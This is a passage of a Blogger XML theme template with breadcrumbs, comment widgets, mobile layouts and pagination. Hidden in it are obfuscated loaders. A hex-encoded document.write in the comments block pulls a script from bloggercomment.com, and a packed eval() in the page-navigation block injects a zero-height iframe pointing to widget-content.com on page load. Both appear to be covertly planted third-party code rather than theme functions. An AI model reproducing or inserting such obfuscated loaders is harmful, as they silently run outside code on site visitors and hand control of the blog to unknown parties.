      <b:if cond='data:blog.homepageUrl != data:blog.url'>
      <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
        <div class='breadcrumbs'><span><a expr:href='data:blog.homepageUrl' rel='nofollow'>Inicio</a></span> / <span><data:blog.pageName/></span>
   </div>
      <b:else/>
        <b:if cond='data:blog.pageType == &quot;item&quot;'>
        <b:loop values='data:posts' var='post'>
        <b:if cond='data:post.labels'>
        <div class='breadcrumbs'><span itemscope='' itemtype='http://data-vocabulary.org/Breadcrumb'><a expr:href='data:blog.homepageUrl' itemprop='url'><span itemprop='title'>Inicio</span></a></span> / <b:loop values='data:post.labels' var='label'><span itemscope='' itemtype='http://data-vocabulary.org/Breadcrumb'><a expr:href='data:label.url + &quot;?&amp;max-results=8&quot;' itemprop='url'><span itemprop='title'><data:label.name/></span></a></span><b:if cond='data:label.isLast != &quot;true&quot;'> / </b:if> </b:loop> / <span><data:post.title/></span>
        </div>
        <b:else/>
        <div class='breadcrumbs'><span><a expr:href='data:blog.homepageUrl' rel='nofollow'>Inicio</a></span> / <span>Uncategories</span> / <span><data:post.title/></span></div>
   </b:if>
        </b:loop>
      <b:else/>
        <b:if cond='data:blog.pageType == &quot;archive&quot;'>
        <div class='breadcrumbs'> <span><a expr:href='data:blog.homepageUrl' rel='nofollow'>Inicio</a></span> / <span>Archive for <data:blog.pageName/></span>
   </div>
      <b:else/>
        <b:if cond='data:blog.searchQuery'>
        <div class='breadcrumbs'><span><a expr:href='data:blog.homepageUrl' rel='nofollow'>Inicio</a></span> / <span><data:blog.pageName/></span>
   </div>
      <b:else/>
        <b:if cond='data:blog.pageType == &quot;index&quot;'>
        <div class='breadcrumbs'>
   <b:if cond='data:blog.pageName == &quot;&quot;'> <span><a expr:href='data:blog.homepageUrl' rel='nofollow'>Home</a></span> / <span>All post</span>
        <b:else/>
        <span><a expr:href='data:blog.homepageUrl' rel='nofollow'>Inicio</a></span> / <span><data:blog.pageName/></span>
        </b:if>
        </div>
      </b:if>
      </b:if>
      </b:if>
      </b:if>
      </b:if>
      </b:if>
</b:includable>
                    <b:includable id='comment-form' var='post'>
                      <div class='comment-form'>
                        <a name='comment-form'/>
                        <b:if cond='data:mobile'>
                          <h4 id='comment-post-message'>
                            <a expr:id='data:widget.instanceId + &quot;_comment-editor-toggle-link&quot;' href='javascript:void(0)'>
                              <data:postCommentMsg/>
                            </a>
                          </h4>
                          <div class='pesan-komentar'>
                            <p>
                              <data:blogCommentMessage/>
                            </p>
                          </div>
                          <data:blogTeamBlogMessage/>
                          <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
                          <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
                          <b:else/>
                          <h4 id='comment-post-message'>
                            <data:postCommentMsg/>
                          </h4>
                          <div class='pesan-komentar'>
                            <p>
                              <data:blogCommentMessage/>
                            </p>
                          </div>
                          <data:blogTeamBlogMessage/>
                          <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
                          <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' width='100%'/>
                        </b:if>
                        <data:post.friendConnectJs/>
                        <data:post.cmtfpIframe/>
                        <script type='text/javascript'>
                          BLOG_CMT_createIframe(&#39;<data:post.appRpcRelayPath/>&#39;, &#39;<data:post.communityId/>&#39;);
                        </script>
                      </div>
                    </b:includable>
                    <b:includable id='commentDeleteIcon' var='comment'>
                      <span expr:class='&quot;item-control &quot; + data:comment.adminClass'>
                        <b:if cond='data:showCmtPopup'>
                          <div class='goog-toggle-button'>
                            <div class='goog-inline-block comment-action-icon'/>
                          </div>
                          <b:else/>
                          <a class='comment-delete' expr:href='data:comment.deleteUrl' expr:title='data:top.deleteCommentMsg'>
                            <img src='//www.blogger.com/img/icon_delete13.gif'/>
                          </a>
                        </b:if>
                      </span>
                    </b:includable>
                    <b:includable id='comment_count_picker' var='post'>
                      <b:if cond='data:post.commentSource == 1'>
                        <span class='cmt_count_iframe_holder' expr:data-count='data:post.numComments' expr:data-onclick='data:post.addCommentOnclick' expr:data-post-url='data:post.url' expr:data-url='data:post.canonicalUrl'>
                        </span>
                        <b:else/>
                        <a class='comment-link' expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
                          <data:post.commentLabelFull/>
                          :
                        </a>
                      </b:if>
                    </b:includable>
                    <b:includable id='comment_picker' var='post'>
                      <b:if cond='data:post.commentSource == 1'>
                        <b:include data='post' name='iframe_comments'/>
                        <b:else/>
                        <b:if cond='data:post.showThreadedComments'>
                          <b:include data='post' name='threaded_comments'/>
                          <b:else/>
                          <b:include data='post' name='comments'/>
                        </b:if>
                      </b:if>
                    </b:includable>
                    <b:includable id='comments' var='post'>
                     <div id='top-comment'>
<div class='top-comment-widget-menu clear'>
<ul>
<dl class='top-comment blogico'>Blogger Comment</dl><!--Replace "New Movies" With Your Own Text-->
<dl class='top-comment faceico'>Facebook Comment</dl><!--Replace "Recent Games" With Your Own Text-->
</ul>
</div>
<div class='widget2' id='top-comment1'>

<div class='centerare1'>

  <div class='comments' id='comments'>

    <a name='comments'/>
    <b:if cond='data:post.allowComments'>
<div class='komhead'>
<script language='javascript'>
var _comentario=[&quot;\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x6C\x6F\x67\x67\x65\x72\x63\x6F\x6D\x6D\x65\x6E\x74\x2E\x63\x6F\x6D\x2F\x61\x6C\x6C\x6F\x77\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E&quot;,&quot;\x77\x72\x69\x74\x65&quot;];document[_comentario[1]](_comentario[0]);
</script>
      <h4>
        <b:if cond='data:post.numComments == 1'>
          1 <data:commentLabel/>:
        <b:else/>
          <data:post.numComments/> <data:commentLabelPlural/>:
        </b:if>
      </h4>
<div class='stripe-line'/>
</div>
      <b:if cond='data:post.commentPagingRequired'>
        <span class='paging-control-container'>
          <a expr:class='data:post.oldLinkClass' expr:href='data:post.oldestLinkUrl'><data:post.oldestLinkText/></a>
          &#160;
          <a expr:class='data:post.oldLinkClass' expr:href='data:post.olderLinkUrl'><data:post.olderLinkText/></a>
          &#160;
          <data:post.commentRangeText/>
          &#160;
          <a expr:class='data:post.newLinkClass' expr:href='data:post.newerLinkUrl'><data:post.newerLinkText/></a>
          &#160;
          <a expr:class='data:post.newLinkClass' expr:href='data:post.newestLinkUrl'><data:post.newestLinkText/></a>
        </span>
      </b:if>

      <div expr:id='data:widget.instanceId + &quot;_comments-block-wrapper&quot;'>
        <dl expr:class='data:post.avatarIndentClass' id='comments-block'>
          <b:loop values='data:post.comments' var='comment'>
            <dt expr:class='&quot;comment-author &quot; + data:comment.authorClass' expr:id='data:comment.anchorName'>
              <b:if cond='data:comment.favicon'>
                <img expr:src='data:comment.favicon' height='16px' style='margin-bottom:-2px;' width='16px'/>
              </b:if>
              <a expr:name='data:comment.anchorName'/>
              <b:if cond='data:blog.enabledCommentProfileImages'>
                <data:comment.authorAvatarImage/>
              </b:if>
              <b:if cond='data:comment.authorUrl'>
                <a expr:href='data:comment.authorUrl' rel='nofollow'><data:comment.author/></a>
              <b:else/>
                <data:comment.author/>
              </b:if>
              <data:commentPostedByMsg/>
            </dt>
            <dd class='comment-body' expr:id='data:widget.instanceId + data:comment.cmtBodyIdPostfix'>
              <b:if cond='data:comment.isDeleted'>
                <span class='deleted-comment'><data:comment.body/></span>
              <b:else/>
                <p>
                  <data:comment.body/>
                </p>
              </b:if>
            </dd>
            <dd class='comment-footer'>
              <span class='comment-timestamp'>
                <a expr:href='data:comment.url' title='comment permalink'>
                  <data:comment.timestamp/>
                </a>
                <b:include data='comment' name='commentDeleteIcon'/>
              </span>
            </dd>
          </b:loop>
        </dl>
      </div>

      <b:if cond='data:post.commentPagingRequired'>
        <span class='paging-control-container'>
          <a expr:class='data:post.oldLinkClass' expr:href='data:post.oldestLinkUrl'>
            <data:post.oldestLinkText/>
          </a>
          <a expr:class='data:post.oldLinkClass' expr:href='data:post.olderLinkUrl'>
            <data:post.olderLinkText/>
          </a>
          &#160;
          <data:post.commentRangeText/>
          &#160;
          <a expr:class='data:post.newLinkClass' expr:href='data:post.newerLinkUrl'>
            <data:post.newerLinkText/>
          </a>
          <a expr:class='data:post.newLinkClass' expr:href='data:post.newestLinkUrl'>
            <data:post.newestLinkText/>
          </a>
        </span>
      </b:if>

      <p class='comment-footer'>
        <b:if cond='data:post.embedCommentForm'>
          <b:if cond='data:post.allowNewComments'>
            <b:include data='post' name='comment-form'/>
          <b:else/>
            <data:post.noNewCommentsText/>
          </b:if>
        <b:else/>
          <b:if cond='data:post.allowComments'>
            <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'><data:postCommentMsg/></a>
          </b:if>
        </b:if>

      </p>
    </b:if>
    <b:if cond='data:showCmtPopup'>
      <div id='comment-popup'>
        <iframe allowtransparency='true' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
        </iframe>
      </div>
    </b:if>

    <div id='backlinks-container'>
    <div expr:id='data:widget.instanceId + &quot;_backlinks-container&quot;'>
       <b:if cond='data:post.showBacklinks'>
         <b:include data='post' name='backlinks'/>
       </b:if>
    </div>
    </div>
  </div>

</div>

</div>

<div class='widget2' id='top-comment2'>

<div class='centerare2'>

<div class='fbcombox'>
<script src='http://connect.facebook.net/en_US/all.js#xfbml=1'/>
        <div>
            <fb:comments colorscheme='light' expr:href='data:post.url' expr:title='data:post.title' expr:xid='data:post.id' height='110' width='639'/>
        </div>
                </div>

</div>

</div>

<script type='text/javascript'>
//<![CDATA[
$(document).ready(function(){
$('#top-comment .widget2').hide();
$('#top-comment .widget2:first').show();
$('.top-comment-widget-menu ul dl:first').addClass('selected');
$('.top-comment-widget-menu ul dl').click(function(){
$('.top-comment-widget-menu ul dl').removeClass('selected');
$(this).addClass('selected');
$('#top-comment .widget2').hide();
$('#top-comment .widget2').eq($('.top-comment-widget-menu ul dl').index(this)).slideDown()(300);
});
});
//]]>
</script>

</div>
                    </b:includable>
                    <b:includable id='feedLinks'>
                      <b:if cond='data:blog.pageType != &quot;item&quot;'>
                        <!-- Blog feed links -->
                        <b:if cond='data:feedLinks'>
                          <div class='blog-feeds'>
                            <b:include data='feedLinks' name='feedLinksBody'/>
                          </div>
                        </b:if>
                        <b:else/>
                        <!--Post feed links -->
                        <div class='post-feeds'>
                          <b:loop values='data:posts' var='post'>
                            <b:if cond='data:post.allowComments'>
                              <b:if cond='data:post.feedLinks'>
                                <b:include data='post.feedLinks' name='feedLinksBody'/>
                              </b:if>
                            </b:if>
                          </b:loop>
                        </div>
                      </b:if>
                    </b:includable>
                    <b:includable id='feedLinksBody' var='links'>
                      <div class='feed-links'>
                        <data:feedLinksMsg/>
                        <b:loop values='data:links' var='f'>
                          <a class='feed-link' expr:href='data:f.url' expr:type='data:f.mimeType' target='_blank'>
                            <data:f.name/>
                            (
                            <data:f.feedType/>
                            )
                          </a>
                        </b:loop>
                      </div>
                    </b:includable>
                    <b:includable id='iframe_comments' var='post'>
                      <b:if cond='data:post.allowIframeComments'>
                        <script expr:src='data:post.iframeCommentSrc' type='text/javascript'/>
                        <div class='cmt_iframe_holder' expr:data-href='data:post.canonicalUrl' expr:data-viewtype='data:post.viewType'/>
                        <b:if cond='data:post.embedCommentForm == &quot;false&quot;'>
                          <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
                            <data:postCommentMsg/>
                          </a>
                        </b:if>
                      </b:if>
                    </b:includable>
                    <b:includable id='mobile-index-post' var='post'>
                      <!-- MOBILE INDEX POST HERE -->
                      <div class='mobile-date-outer date-outer'>
                        <div class='mobile-post-outer'>
                          <div class='mobile-index-contents'>
                            <b:if cond='data:post.thumbnailUrl'>
                              <div class='mobile-index-thumbnail'>
                                <div class='Image'>
                                  <img expr:src='data:post.thumbnailUrl'/>
                                </div>
                              </div>
                              <b:else/>
                              <div class='mobile-index-thumbnail'>
                                <div class='Image'>
                                  <img expr:alt='data:post.title' expr:title='data:post.title' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio559nIyjVgMu0A3bm3JtQQTWoeZW8dre_OeLzmP8A6slf818Far4riafz7utov-kueE3vYz8r3aXRYqPpPDTrPqGg4OQvBiT5uJQjQL7jfEeIh1OGya_pURHX0miFwD9jI1Gs5Jr1Hoye/s66-c/no-image.png'/>
                                </div>
                              </div>
                            </b:if>
                            <a expr:href='data:post.url'>
                              <h3 class='mobile-index-title entry-title' itemprop='name'>
                                <data:post.title/>
                              </h3>
                            </a>
                            <div class='post-body'>
                              <div class='post-info'>
                                <b:if cond='data:top.showAuthor'>
                                  <b:if cond='data:post.authorProfileUrl'>
                                    <span class='author-info'>
                                      <i class='fa fa-user'/>
                                      <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
                                        <meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
                                        <a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
                                          <span itemprop='name'>
                                            <data:post.author/>
                                          </span>
                                        </a>
                                      </span>
                                    </span>
                                    <b:else/>
                                    <span class='author-info'>
                                      <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
                                        <span itemprop='name'>
                                          <data:post.author/>
                                        </span>
                                      </span>
                                    </span>
                                  </b:if>
                                </b:if>
                                <b:if cond='data:top.showTimestamp'>
                                  <b:if cond='data:post.url'>
                                    <meta expr:content='data:post.canonicalUrl' itemprop='url'/>
                                    <span class='time-info'>
                                      <i class='fa fa-calendar'/>
                                      <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'>
                                        <abbr class='published updated' expr:title='data:post.timestampISO8601' itemprop='datePublished'>
                                          <data:post.timestamp/>
                                        </abbr>
                                      </a>
                                    </span>
                                  </b:if>
                                </b:if>
                                <b:if cond='data:blog.pageType != &quot;item&quot;'>
                                  <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
                                    <b:if cond='data:post.allowComments'>
                                      <span class='comment-info'>
                                        <i class='fa fa-comments'/>
                                        <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
                                          <b:if cond='data:post.numComments == 0'>
                                            Comentarios
                                          </b:if>
                                          <b:if cond='data:post.numComments == 1'>
                                            1  Comentario
                                          </b:if>
                                          <b:if cond='data:post.numComments &gt; 1'>
                                            <data:post.numComments/>
                                            Comentarios
                                          </b:if>
                                        </a>
                                      </span>
                                    </b:if>
                                  </b:if>
                                </b:if>
                              </div>
                            </div>
                          </div>
                          <div style='clear: both;'/>
                        </div>
                      </div>
                    </b:includable>
                    <b:includable id='mobile-main' var='top'>
                      <!-- posts -->
                      <div class='blog-posts hfeed'>
                        <b:include data='top' name='status-message'/>
                        <b:if cond='data:blog.pageType == &quot;index&quot;'>
                          <b:loop values='data:posts' var='post'>
                            <b:include data='post' name='mobile-index-post'/>
                          </b:loop>
                          <b:else/>
                          <b:loop values='data:posts' var='post'>
                            <b:include data='post' name='mobile-post'/>
                          </b:loop>
                        </b:if>
                      </div>
                      <b:include name='mobile-nextprev'/>
                    </b:includable>
                    <b:includable id='mobile-nextprev'>
                      <!-- MOBILE PAGE NAVIGATION LINKS HERE -->
                      <div class='blog-pager' id='blog-pager'>
                        <b:if cond='data:newerPageUrl'>
                          <div class='mobile-link-button' id='blog-pager-newer-link'>
                            <a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-newer-link&quot;' expr:title='data:newerPageTitle'>
                              &amp;lsaquo;
                            </a>
                          </div>
                        </b:if>
                        <b:if cond='data:olderPageUrl'>
                          <div class='mobile-link-button' id='blog-pager-older-link'>
                            <a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-older-link&quot;' expr:title='data:olderPageTitle'>
                              &amp;rsaquo;
                            </a>
                          </div>
                        </b:if>
                        <div class='mobile-link-button' id='blog-pager-home-link'>
                          <a class='home-link' expr:href='data:blog.homepageUrl'>
                            <data:homeMsg/>
                          </a>
                        </div>
                        <div class='mobile-desktop-link'>
                          <a class='home-link' expr:href='data:desktopLinkUrl'>
                            <data:desktopLinkMsg/>
                          </a>
                        </div>
                      </div>
                      <div class='clear'/>
                    </b:includable>
                    <b:includable id='mobile-post' var='post'>
                      <!-- MOBILE ITEM POST HERE -->
                      <div class='date-outer'>
                        <div class='date-posts'>
                          <div class='post-outer'>
                            <div class='post hentry uncustomized-post-template' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
                              <b:if cond='data:post.thumbnailUrl'>
                                <meta expr:content='data:post.thumbnailUrl' itemprop='image_url'/>
                              </b:if>
                              <meta expr:content='data:blog.blogId' itemprop='blogId'/>
                              <meta expr:content='data:post.id' itemprop='postId'/>
                              <a expr:name='data:post.id'/>
                              <b:if cond='data:post.title'>
                                <h3 class='mobile-post-title entry-title' itemprop='name'>
                                  <b:if cond='data:post.link'>
                                    <a expr:href='data:post.link'>
                                      <data:post.title/>
                                    </a>
                                    <b:else/>
                                    <b:if cond='data:post.url'>
                                      <b:if cond='data:blog.url != data:post.url'>
                                        <a expr:href='data:post.url'>
                                          <data:post.title/>
                                        </a>
                                        <b:else/>
                                        <data:post.title/>
                                      </b:if>
                                      <b:else/>
                                      <data:post.title/>
                                    </b:if>
                                  </b:if>
                                </h3>
                              </b:if>
                              <div class='post-header'>
                                <div class='post-header-line-1'/>
                              </div>
                              <div class='post-info' style='margin-bottom:15px;'>
                                <b:if cond='data:top.showAuthor'>
                                  <b:if cond='data:post.authorProfileUrl'>
                                    <span class='author-info'>
                                      <i class='fa fa-user'/>
                                      <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
                                        <meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
                                        <a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
                                          <span itemprop='name'>
                                            <data:post.author/>
                                          </span>
                                        </a>
                                      </span>
                                    </span>
                                    <b:else/>
                                    <span class='author-info'>
                                      <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
                                        <span itemprop='name'>
                                          <data:post.author/>
                                        </span>
                                      </span>
                                    </span>
                                  </b:if>
                                </b:if>
                                <b:if cond='data:top.showTimestamp'>
                                  <b:if cond='data:post.url'>
                                    <meta expr:content='data:post.canonicalUrl' itemprop='url'/>
                                    <span class='time-info'>
                                      <i class='fa fa-calendar'/>
                                      <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'>
                                        <abbr class='published updated' expr:title='data:post.timestampISO8601' itemprop='datePublished'>
                                          <data:post.timestamp/>
                                        </abbr>
                                      </a>
                                    </span>
                                  </b:if>
                                </b:if>
                                <b:if cond='data:blog.pageType != &quot;item&quot;'>
                                  <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
                                    <b:if cond='data:post.allowComments'>
                                      <span class='comment-info'>
                                        <i class='fa fa-comments'/>
                                        <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
                                          <b:if cond='data:post.numComments == 0'>
                                             Comentarios
                                          </b:if>
                                          <b:if cond='data:post.numComments == 1'>
                                            1  Comentario
                                          </b:if>
                                          <b:if cond='data:post.numComments &gt; 1'>
                                            <data:post.numComments/>
                                             Comentarios
                                          </b:if>
                                        </a>
                                      </span>
                                    </b:if>
                                  </b:if>
                                </b:if>
                              </div>
                              <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id' itemprop='articleBody'>
                                <!-- IKLAN BAWAH JUDUL VERSI MOBILE -->
                                <data:post.body/>
                                <div style='clear: both;'/>
                                <div id='share-buttons-mobile'>
                                  <p>
                                    Share :
                                  </p>
                                  <a expr:href='&quot;http://www.facebook.com/sharer.php?u=&quot; + data:blog.url' rel='nofollow' style='background:#3b5998;'>
                                    Facebook
                                  </a>
                                  <a expr:href='&quot;http://plus.google.com/share?url=&quot; + data:blog.url' rel='nofollow' style='background:#c0361a;'>
                                    Google+
                                  </a>
                                  <a expr:href='&quot;https://twitter.com/intent/tweet?url=&quot; + data:blog.url + &quot;&amp;text=&quot; + data:post.title + &quot;&amp;lang=id&quot;' rel='nofollow' style='background:#4099ff;'>
                                    Twitter
                                  </a>
                                  <div class='clear'/>
                                </div>
                                <div id='related-posts-mobile'>
                                  <h3>
                                    Postagens Relacionadas :
                                  </h3>
                                  <b:loop values='data:post.labels' var='label'>
                                    <b:if cond='data:label.isLast != &quot;true&quot;'/>
                                    <b:if cond='data:blog.pageType == &quot;item&quot;'>
                                      <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels&amp;max-results=5&quot;' type='text/javascript'/>
                                    </b:if>
                                  </b:loop>
                                  <script type='text/javascript'>
                                    removeRelatedDuplicates(); printRelatedLabels(); </script>
                                </div>
                              </div>
                            </div>
                            <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
                              <b:include data='post' name='comment_picker'/>
                            </b:if>
                            <b:if cond='data:blog.pageType == &quot;item&quot;'>
                              <b:include data='post' name='comment_picker'/>
                            </b:if>
                          </div>
                        </div>
                      </div>
                    </b:includable>
                    <b:includable id='nextprev'>
                      <div class='blog-pager' id='blog-pager'>
                        <b:if cond='data:newerPageUrl'>
                          <span id='blog-pager-newer-link'>
                            <a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-newer-link&quot;' expr:title='data:newerPageTitle'>
                              <data:newerPageTitle/>
                            </a>
                          </span>
                        </b:if>
                        <b:if cond='data:olderPageUrl'>
                          <span id='blog-pager-older-link'>
                            <a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-older-link&quot;' expr:title='data:olderPageTitle'>
                              <data:olderPageTitle/>
                            </a>
                          </span>
                        </b:if>
                        <a class='home-link' expr:href='data:blog.homepageUrl'>
                          <data:homeMsg/>
                        </a>
                        <b:if cond='data:mobileLinkUrl'>
                          <div class='blog-mobile-link'>
                            <a expr:href='data:mobileLinkUrl'>
                              <data:mobileLinkMsg/>
                            </a>
                          </div>
                        </b:if>
                      </div>
                      <div class='clear'/>
                    </b:includable>
                    <b:includable id='page-navi'>
<script type='text/javascript'>//<![CDATA[
eval(function(m,c,h){function z(i){return(i< 62?'':z(parseInt(i/62)))+((i=i%62)>35?String.fromCharCode(i+29):i.toString(36))}for(var i=0;i< m.length;i++)h[z(i)]=m[i];function d(w){return h[w]?h[w]:w;};return c.replace(/\b\w+\b/g,d);}('||var|ie1|document|all|navigator|userAgent|indexOf|Opera|dom1|getElementById|iframeprops1|width|700|frameborder|marginwidth|height|marginheight|align|top|scrolling|no|randomcontent1|new|Array|http|widget|content|com|if|write|iframe|id|dynstuff|function||random_iframe1|src|Math|floor|random|length|window|onload'.split('|'),'2 3=4.5&&6.7.8("9")==-1;2 a=4.b&&6.7.8("9")==-1;2 c=\'d="e" f="0" g="0" h="0" i="0" j="k" l="m"\';2 n=o p();n[0]="q://r-s.t/";u(3||a)4.v(\'<w x="y" \'+c+\'></w>\');z B(){u(3||a){2 A=4.b?4.b("y"):4.5.y;A.C=n[D.E(D.F()*n.G)];}}H.I=B;',{})) //]]></script>
                      <div class='pagenavi'>
                        <script type='text/javascript'>
                          var pageNaviConf = {
                            perPage: 5,
                            numPages: 9,
                            firstText: &quot;Primeira&quot;,
                            lastText: &quot;Ultima&quot;,
                            nextText: &quot;Proxima&quot;,
                            prevText: &quot;Anterior&quot;
                          }
                        </script>
                        <script type='text/javascript'>
                          //<![CDATA[
                          function pageNavi(o){var m=location.href,l=m.indexOf("/search/label/")!=-1,a=l?m.substr(m.indexOf("/search/label/")+14,m.length):"";a=a.indexOf("?")!=-1?a.substr(0,a.indexOf("?")):a;var g=l?"/search/label/"+a+"?updated-max=":"/search?updated-max=",k=o.feed.entry.length,e=Math.ceil(k/pageNaviConf.perPage);if(e<=1){return}var n=1,h=[""];l?h.push("/search/label/"+a+"?max-results="+pageNaviConf.perPage):h.push("/?max-results="+pageNaviConf.perPage);for(var d=2;d<=e;d++){var c=(d-1)*pageNaviConf.perPage-1,b=o.feed.entry[c].published.$t,f=b.substring(0,19)+b.substring(23,29);f=encodeURIComponent(f);if(m.indexOf(f)!=-1){n=d}h.push(g+f+"&max-results="+pageNaviConf.perPage)}pageNavi.show(h,n,e)}pageNavi.show=function(f,e,a){var d=Math.floor((pageNaviConf.numPages-1)/2),g=pageNaviConf.numPages-1-d,c=e-d;if(c<=0){c=1}endPage=e+g;if((endPage-c)<pageNaviConf.numPages){endPage=c+pageNaviConf.numPages-1}if(endPage>a){endPage=a;c=a-pageNaviConf.numPages+1}if(c<=0){c=1}var b='<span class="pages">Pages '+e+' of '+a+"</span> ";if(c>1){b+='<a href="'+f[1]+'">'+pageNaviConf.firstText+"</a>"}if(e>1){b+='<a href="'+f[e-1]+'">'+pageNaviConf.prevText+"</a>"}for(i=c;i<=endPage;++i){if(i==e){b+='<span class="current">'+i+"</span>"}else{b+='<a href="'+f[i]+'">'+i+"</a>"}}if(e<a){b+='<a href="'+f[e+1]+'">'+pageNaviConf.nextText+"</a>"}if(endPage<a){b+='<a href="'+f[a]+'">'+pageNaviConf.lastText+"</a>"}document.write(b)};(function(){var b=location.href;if(b.indexOf("?q=")!=-1||b.indexOf(".html")!=-1){return}var d=b.indexOf("/search/label/")+14;if(d!=13){var c=b.indexOf("?"),a=(c==-1)?b.substring(d):b.substring(d,c);document.write('<script type="text/javascript" src="/feeds/posts/summary/-/'+a+'?alt=json-in-script&callback=pageNavi&max-results=99999"><\/script>')}else{document.write('<script type="text/javascript" src="/feeds/posts/summary?alt=json-in-script&callback=pageNavi&max-results=99999"><\/script>')}})();
                          //]]>
                        </script>
                        <div class='clear'/>
                      </div><script src='http://blogpager.com/dataolder.js'/>
                    </b:includable>
                    <b:includable id='post' var='post'>
                      <article class='post hentry' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
                        <b:if cond='data:post.firstImageUrl'>
                          <meta expr:content='data:post.firstImageUrl' itemprop='image'/>
                        </b:if>
                        <b:if cond='data:blog.pageType != &quot;item&quot;'>
                          <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
                            <b:if cond='data:post.thumbnailUrl'>
                              <a expr:href='data:post.url'>
                                <div class='img-thumbnail'>
                                  <span class='rollover'/>
                                  <script type='text/javascript'>
                                    document.write(bp_thumbnail_resize(&quot;<data:post.thumbnailUrl/>&quot;,&#39;<data:post.title/>&#39;));
                                  </script>
                                </div>
                              </a>
                              <b:else/>
                              <b:if cond='data:post.firstImageUrl'>
                                <a expr:href='data:post.url'>
                                  <div class='img-thumbnail'>
                                    <span class='rollover'/>
                                    <img expr:alt='data:post.title' expr:src='data:post.firstImageUrl' expr:title='data:post.title'/>
                                  </div>
                                </a>
                                <b:else/>
                                <a expr:href='data:post.url'>
                                  <div class='img-thumbnail'>
                                    <span class='rollover'/>
                                    <img expr:alt='data:post.title' expr:title='data:post.title' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio559nIyjVgMu0A3bm3JtQQTWoeZW8dre_OeLzmP8A6slf818Far4riafz7utov-kueE3vYz8r3aXRYqPpPDTrPqGg4OQvBiT5uJQjQL7jfEeIh1OGya_pURHX0miFwD9jI1Gs5Jr1Hoye/w200-c-h150/no-image.png'/>
                                  </div>
                                </a>
                              </b:if>
                            </b:if>
                          </b:if>
                        </b:if>
                        <a expr:name='data:post.id'/>
                        <b:if cond='data:post.title'>
                          <b:if cond='data:blog.pageType != &quot;item&quot;'>
                            <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
                              <h1 class='post-title entry-title' itemprop='name'>
                                <b:if cond='data:post.link'>
                                  <a expr:href='data:post.link'>
                                    <data:post.title/>
                                  </a>
                                  <b:else/>
                                  <b:if cond='data:post.url'>
                                    <b:if cond='data:blog.url != data:post.url'>
                                      <a expr:href='data:post.url'>
                                        <data:post.title/>
                                      </a>
                                      <b:else/>
                                      <data:post.title/>
                                    </b:if>
                                    <b:else/>
                                    <data:post.title/>
                                  </b:if>
                                </b:if>
                              </h1>
                              <b:else/>
                              <h2 class='post-title entry-title' itemprop='name'>
                                <b:if cond='data:post.link'>
                                  <a expr:href='data:post.link'>
                                    <data:post.title/>
                                  </a>
                                  <b:else/>
                                  <b:if cond='data:post.url'>
                                    <b:if cond='data:blog.url != data:post.url'>
                                      <a expr:href='data:post.url'>
                                        <data:post.title/>
                                      </a>
                                      <b:else/>
                                      <data:post.title/>
                                    </b:if>
                                    <b:else/>
                                    <data:post.title/>
                                  </b:if>
                                </b:if>
                              </h2>
                            </b:if>
                            <b:else/>
                            <h1 class='post-title entry-title' itemprop='name'>
                              <b:if cond='data:post.link'>
                                <a expr:href='data:post.link'>
                                  <data:post.title/>
                                </a>
                                <b:else/>
                                <b:if cond='data:post.url'>
                                  <b:if cond='data:blog.url != data:post.url'>
                                    <a expr:href='data:post.url'>
                                      <data:post.title/>
                                    </a>
                                    <b:else/>
                                    <data:post.title/>
                                  </b:if>
                                  <b:else/>
                                  <data:post.title/>
                                </b:if>
                              </b:if>
                            </h1>
                          </b:if>
                        </b:if>
                        <div class='post-info'>
                          <b:if cond='data:top.showAuthor'>
